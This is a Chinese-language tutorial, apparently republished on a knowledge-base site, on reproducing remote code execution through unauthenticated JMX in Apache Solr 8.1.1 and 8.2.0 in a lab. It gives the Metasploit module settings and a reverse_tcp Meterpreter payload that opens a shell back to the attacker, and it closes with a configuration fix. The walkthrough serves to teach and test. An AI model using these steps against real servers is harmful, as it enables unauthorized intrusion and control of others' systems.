如何进行Apache Solr JMX服务RCE漏洞复现

0x00简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。

Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”选项。

如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),

并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,

并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

0x01影响版本

Apache Solr8.1.1版本上线时间:2019-05-28

Apache Solr8.2.0版本上线时间:2019-07-25

0x02漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x03环境搭建

Java环境和kali系统、Solr 8.20

Solr 8.20 下载地址:

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

如何进行Apache Solr JMX服务RCE漏洞复现

使用unzip solr-8.2.0.zip解压

如何进行Apache Solr JMX服务RCE漏洞复现

解压完成后,切换到bin目录启动Solr

./solr start -force

如何进行Apache Solr JMX服务RCE漏洞复现

启动后访问:http://192.168.10.176:8983/

如何进行Apache Solr JMX服务RCE漏洞复现

0x04漏洞复现

攻击机:kali IP:192.168.10.147

受害机:Ubuntu18.6中docker IP:192.168.10.184:8983

1、使用nmap扫描端口后发现18983端口开启

如何进行Apache Solr JMX服务RCE漏洞复现

2、使用Metasploit中的exploit/multi/misc/java_jmx_server模块进行漏洞复现

Ø use exploit/multi/misc/java_jmx_server

Ø set RHOST 192.168.10.184

Ø set RPORT 18983

如何进行Apache Solr JMX服务RCE漏洞复现

再来设置payload:java/meterpreter/reverse_tcp

Ø set payload java/meterpreter/reverse_tcp

Ø set LHOST 192.168.10.147

Ø set LPORT 4444

如何进行Apache Solr JMX服务RCE漏洞复现

3、使用run执行,即可看到成功建立连接

如何进行Apache Solr JMX服务RCE漏洞复现

0x05修复建议

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

关于如何进行Apache Solr JMX服务RCE漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文章标题:如何进行Apache Solr JMX服务RCE漏洞复现,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24653

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云
上一篇 2022年9月13日 下午11:39
下一篇 2022年9月13日 下午11:40

相关推荐

  • 数据库加密有什么用

    数据库加密的主要用途包括:保护数据的安全性、防止未经授权的访问、满足法规要求、防止数据泄露、保证数据的完整性和可靠性。数据库加密是一种安全策略,它可以确保存储在数据库中的敏感信息不被未经授权的用户访问。如果没有正确的密钥,即使数据被盗,也无法解读加密的信息,从而极大地增强了数据的安全性。此外,数据库…

    2024年7月16日
    700
  • 数据库跳板是什么意思

    数据库跳板是一种在网络安全领域常见的术语,是指黑客通过某个已经被控制的数据库,跳转到其他的数据库或系统,以此进行进一步的攻击行为。具体来说,数据库跳板包括以下几个步骤:一、黑客首先找到一个安全漏洞较多、比较容易攻击的数据库,然后利用各种手段将其控制;二、控制后,黑客会在此数据库中植入恶意代码,使其成…

    2024年7月16日
    500
  • 数据库实现了些什么功能

    数据库实现了数据存储、数据检索、数据管理、数据完整性、数据安全、并发控制、备份与恢复等功能。在这些功能中,数据存储是最基础的功能,因为所有的数据操作都依赖于数据存储这一核心功能。数据存储确保了数据的持久化,能够在需要时进行读取和操作,而不会因为系统关闭或故障而丢失数据。数据库系统通过高效的数据存储机…

    2024年7月16日
    300
  • 电信数据库都做些什么工作

    电信数据库的主要工作包括数据存储、数据管理、数据分析、数据安全、数据备份和恢复、数据集成和数据挖掘。数据存储是其核心功能之一,确保大量用户信息、通话记录、账单数据等能够高效、安全地存储。数据管理涉及对这些数据的组织和维护,确保数据的准确性和一致性。数据分析则通过大数据技术对存储的信息进行深度挖掘,帮…

    2024年7月16日
    400
  • 启动数据库用什么软件好

    启动数据库,我们可以选择多种不同的软件,比如MySQL、Oracle、SQL Server、PostgreSQL、MongoDB、SQLite等。每种数据库软件都有其独特的特性和适应的应用场景。例如,MySQL是最受欢迎的关系数据库管理系统,它具有开源、性能高效、成本低、可扩展性好等优点,被广泛应用…

    2024年7月16日
    300
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部